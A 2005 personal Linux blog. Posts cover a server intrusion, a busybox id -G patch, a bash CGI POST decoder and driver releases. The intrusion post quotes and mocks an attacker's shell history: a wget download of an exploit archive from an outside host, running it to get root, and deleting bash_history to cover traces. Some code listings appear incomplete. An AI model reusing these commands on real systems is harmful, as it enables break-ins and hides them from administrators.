Wanna see this logo while booting your 2.6 kernel? Click here!

27.06.2005 11:43

Hacked by a fool

After everything is in OK state finally, I want to post some things about this fool who hacked my server.
The bash_history of the hacked user shows me, that this guy really had no idea of what to do, a typical script kiddie using someone else's work for his evil purposes...

I want to post some snippets out of the bash_history file and comment them just for your amusement :)
wget wget great-shopper-sony.com/asul/expl.tgz
tar -xvzf expl.tgz
cd su
chmod +x x
chmod +x y
su root
If it was that easy to become root...
tar -xvzf hu.tar
Well, .tar seems definetly to be gzipped...
pico /etc/apache-ssl/httpd.conf
l33t hackers use pico, because their intellect is insufficient to use a real editor.
cat httpd.conf.old | grep luck
A very beautiful example of an UUOC (useless use of cat).
cd .secure
rm -rf bash_history
Yes, that worked flawlessly. I'm not able to see the history anymore, bummer.
mc, nice. Using midnight commander definetly identifies you as the best hacker all around. The next time you're coming around I'll try to get you a linux compatible version of explorer.exe.
Great, now the history is really cleared, isn't it?
What is this, MS-DOS??
mkdir secure
cd secure/
mkdir creditunion
cd creditunion/
mkdir update
cd update/
mkdir user
cd user/
There's no way doing this more unergonomically. Dear l33t hacker, if you read this, try 'man mkdir' and have a look at the -p option.
Phew, thanks god he didn't issue 'pwd' a two times more, this would have launched the self destruct mechanism!
On the otherhand, who really knows if the directory doesn't change silently when using 'pwd', hm?
Bye, bye, bummer.

25.06.2005 01:33

Strangers in the night...

Now it's 01:16 CEST, I was having a cold beer with my brother a few hours ago and started working on my weblog again. As you may recognize, I'm trying to replace my boring old website with this weblog the next week, mostly all content is blogged by now...
But what I really wanted to tell is that an hour ago, a - at the first look - mysterious phone number showed up on my cellphone. I picked up the phone and said "Jo bitte?" (which is german and means "Yes, please?" ;) with some kind of unfriendly undertone. Hey, it's late at night, who the hell has to call me at this time???
The person on the other side started speaking english to me and my integrated dictionary immediately started up, but it was too slow to translate first 5 seconds of our conversation so I missed some unimportant information like the callers name, company, etc.

Never mind, I thought, let's check what he wants.

Unfortunately he asked me about the reason why some user account on "my"[0] webserver has created a password phishing website and has done some credit card transactions from there on.
I explained myself to him and all the useful background information, but at the moment I'm not really sure, if I can be made responsible for this... Note to myself: google that out.

That was really the last thing I needed today before going to bed. Thousands of cogitations are going through my head - Hey, I want to marry tomorrow without thinking of this!
Let's see if I can sleep, maybe a relaxing smoke helps?

ad [0]:
The server where this domain is hosted is called "motorradseiten.at" and originally was administrated by someone else. After this, it was administrated by another one else and as this person doesn't really want to do the job anymore (now I understand the reason...) and at the same time, the server hardware crashed, I took over the administration of this server. Well, by now I'm in posession of the root password for about 3 days and the first cracker bothers me - argh.

23.06.2005 13:10

New Matrox Parhelia P750 driver 1.4.2 released

Today I adapted the current 1.4.1 release with the changes that happend in 2.6.12 (multiple agp_backend bridges) and created a new installer script for this driver.
The really current release now is unofficial-1.4.2-tuxx-home.at and the following downloads are available:

Diff from 1.4.1 to 1.4.2
Installable package for 1.4.2-tuxx-home.at

On my system it works really fine, but if you have any troubles or errors while compiling or during installation, please contact me.

21.06.2005 08:44

busybox id -G patch

Today I enhanced the busybox "id" command with the -G option which is used to print out all groups a user belongs to (instead of -g which just prints the users gid).
The following diff allows busybox's id command to handle -G and -Gn (which would display the names instead of the gids). The output is the same as with GNU id.
diff -Nur busybox/coreutils/id.c busybox.new/coreutils/id.c
--- busybox/coreutils/id.c      2005-06-20 08:20:09.000000000 +0200
+++ busybox.new/coreutils/id.c  2005-06-21 08:22:29.226988717 +0200
@@ -23,6 +23,7 @@
 /* BB_AUDIT SUSv3 _NOT_ compliant -- option -G is not currently supported. */
 /* Hacked by Tito Ragusa (C) 2004 to handle usernames of whatever length and to
  * be more similar to GNU id.
+ * -G and -Gn implemented by Alexander Griesser [busybox@tuxx-home.at] 2005

 #include "busybox.h"
@@ -30,6 +31,7 @@
 #include <stdio.h>
 #include <unistd.h>
 #include <sys/types.h>
+#include <grp.h>

 #include <selinux/selinux.h>          /* for is_selinux_enabled() */
@@ -39,6 +41,7 @@
 #define NAME_NOT_NUMBER   2
 #define JUST_USER         4
 #define JUST_GROUP        8
+#define JUST_GROUP_LIST  16

 static short printf_full(unsigned int id, const char *arg, const char prefix)
@@ -53,6 +56,16 @@
        return status;

+static void print_group(gid_t gid, int use_name)
+       struct group *grp = NULL;
+       grp = getgrgid(gid);
+       if(use_name)
+         bb_printf("%s", grp->gr_name);
+       else
+         bb_printf("%u", grp->gr_gid);
 extern int id_main(int argc, char **argv)
        struct passwd *p;
@@ -61,8 +74,8 @@
        unsigned long flags;
        short status;

-       bb_opt_complementaly = "u~g:g~u";
-       flags = bb_getopt_ulflags(argc, argv, "rnug");
+       bb_opt_complementaly = "u~g:g~u:g~G:G~g:u~G:G~u";
+       flags = bb_getopt_ulflags(argc, argv, "rnugG");

        if ((flags & BB_GETOPT_ERROR)
        /* Don't allow -n -r -nr */
@@ -78,7 +91,7 @@
                uid = getuid();
                gid = getgid();
        if(argv[optind]) {
                /* my_getpwnam is needed because it exits on failure */
@@ -99,6 +112,28 @@

+       /* Support -G and -Gn */
+       if(flags & JUST_GROUP_LIST) {
+               gid_t *groups;
+               long ngroups_max;
+               int i, ngroups;
+               ngroups_max = sysconf(_SC_NGROUPS_MAX);
+               groups = (gid_t*) malloc(ngroups_max * sizeof(gid_t) + 1);
+               ngroups = getgroups(ngroups_max, groups);
+               /* first print the (e)gid */
+               print_group(gid, flags & NAME_NOT_NUMBER);
+               /* now cycle through all other gids, except for egid */
+               for(i = 0; i < ngroups; i++) {
+                       if(groups[i] != gid) {
+                               bb_printf(" ");
+                               print_group(groups[i], flags & NAME_NOT_NUMBER);
+                       }
+               }
+               bb_printf("\n");
+               /* exit */
+               bb_fflush_stdout_and_exit(EXIT_SUCCESS);
+       }
        /* Print full info like GNU id */
        /* my_getpwuid doesn't exit on failure here */
        status=printf_full(uid, my_getpwuid(NULL, uid, 0), 'u');
diff -Nur busybox/include/usage.h busybox.new/include/usage.h
--- busybox/include/usage.h     2005-06-20 08:20:13.000000000 +0200
+++ busybox.new/include/usage.h 2005-06-21 07:55:51.482737569 +0200
@@ -1111,7 +1111,8 @@
        "\t-g\tprints only the group ID\n" \
        "\t-u\tprints only the user ID\n" \
        "\t-n\tprint a name instead of a number\n" \
-       "\t-r\tprints the real user ID instead of the effective ID"
+       "\t-r\tprints the real user ID instead of the effective ID\n" \
+       "\t-G\tprint all group IDs\n"
 #define id_example_usage \
        "$ id\n" \
        "uid=1000(andersen) gid=1000(andersen)\n"
diff -Nur busybox/testsuite/id/id-G-works busybox.new/testsuite/id/id-G-works
--- busybox/testsuite/id/id-G-works     1970-01-01 01:00:00.000000000 +0100
+++ busybox.new/testsuite/id/id-G-works 2005-06-21 08:26:49.403257154 +0200
@@ -0,0 +1 @@
+test x$(id -G) = x$(busybox id -G)
diff -Nur busybox/testsuite/id/id-Gn-works busybox.new/testsuite/id/id-Gn-works
--- busybox/testsuite/id/id-Gn-works    1970-01-01 01:00:00.000000000 +0100
+++ busybox.new/testsuite/id/id-Gn-works        2005-06-21 08:26:58.917657846 +0200
@@ -0,0 +1 @@
+test x$(id -Gn) = x$(busybox id -Gn)
This patch may also be downloaded here.

17.06.2005 09:07

CGI Post method handling in bash scripts

I just wanted to post my way of handling CGI POST method Request Strings using bash here because I didn't find anything useful in the web straightaway. The following code reads all Data from stdin (which is POST's way to send you the data) and parses it according to the CGI protocol rules.
The main problem is, that all special charactes such as exclamation marks, white spaces, german umlauts, etc. are being encoded as %xx, where xx is the hexadecimal code of this ascii character. So one has to transform these occurences to their representatives in the ascii-table.
Please keep in mind, that this example is written for use with busybox so I had to include some tricks that might not be necessary on normal installations (e.g. busybox's sed is not able to display ascii characters with the notation \xnn (where nn is any hexadecimal number)).

Update 2006-04-21:
There was an error in this script that caused it to behave incorrectly if a percent sign (%25) was found in $POST_STRING. Here's the updated version:
if [ "$REQUEST_METHOD" = "POST" ]; then

  while true; do
    HEX="$(echo "$POST_STRING" | sed 's/^.*[^%]%\([0-9a-fA-F][0-9a-fA-F]\).*/\1/')"
    if [ "$HEX" = "$POST_STRING" ]; then
    REP=$(echo -e \\x$HEX)
    # to avoid mishandling of %25 (== '%') replace all occurences of the
    # percent sign itself with a double percent sign (kind of escaping)
    [ "$REP" = "%" ] && REP="%%"

    POST_STRING="$(echo "$POST_STRING" | sed 's/^\(.*[^%]\)%\([0-9a-fA-F][0-9a-fA-F]\)/\1'$REP'/')"

  # replace all escaped percent signs with a single percent sign
  POST_STRING=$(echo $POST_STRING | sed 's/%%/%/g')

  # replace all ampersands with spaces for easier handling later
  POST_STRING=$(echo $POST_STRING | sed 's/&/ /g')

POST_STRING then contains the decoded Parameter-List which could be fed into a bash-array (of course, that's also not possible with the busybox builtin, because there's no declare plugin (not at the moment, at least)).
In my application I did also use the following line afterwards to replace all ampersands by spaces because I used " for token in $POST_STRING" afterwards (you may also set the IFS environment variable to "&" if you like).
  # replace all ampersands with spaces for easier handling later
  POST_STRING=$(echo $POST_STRING | sed 's/&/ /g')
If you have any idea of how this could be done better, don't hesitate to contact me.

16.06.2005 11:36

Why it is really useful to place symlinks to busybox plugins

Today I finally figured out why my kill script didn't work. The reason for this was, that my killall respectively pidof call didn't return a process id for the given process name.
After thorough investigation of the busybox sourcecode and trying some other stuff I found out, that pidof/killall doesn't parse /proc/$PID/cmd for the process name instead it cuts out the text between the round braces in /proc/$PID/stat. This text usually contains the name of argv[0] and in case of not having a symlink for e.g. httpd to busybox but calling the plugin directly this text contains "exe" instead of the applet-name itself. pidof and killall will then not be able to find the PID to the given process name (you may try "pidof exe" instead, if you don't believe me). After creating the symlink from httpd to busybox the killall and pidof commands worked fine (although one has to call the httpd-applet by using the full path to the symlink, otherwise this fancy applet-loading mechanism which writes "exe" into the stat entry comes into place).

15.06.2005 07:21

xbattbar 1.4.2-acpi released

Today I finally had time to fix the last big bug in my xbattbar-acpi modification. The issue was reported by some visitors to this blog (many thanks!) having either broken batteries or broken ACPI implementations, where the design-capacity label of their ACPI battery state had quite curious values, so I'm now using the last-full capacity label, as suggested by them.
You may download the newest tarball here.
Please keep up your testing and tell me about feature requests, bug reports or your favourite xbattbar color ;)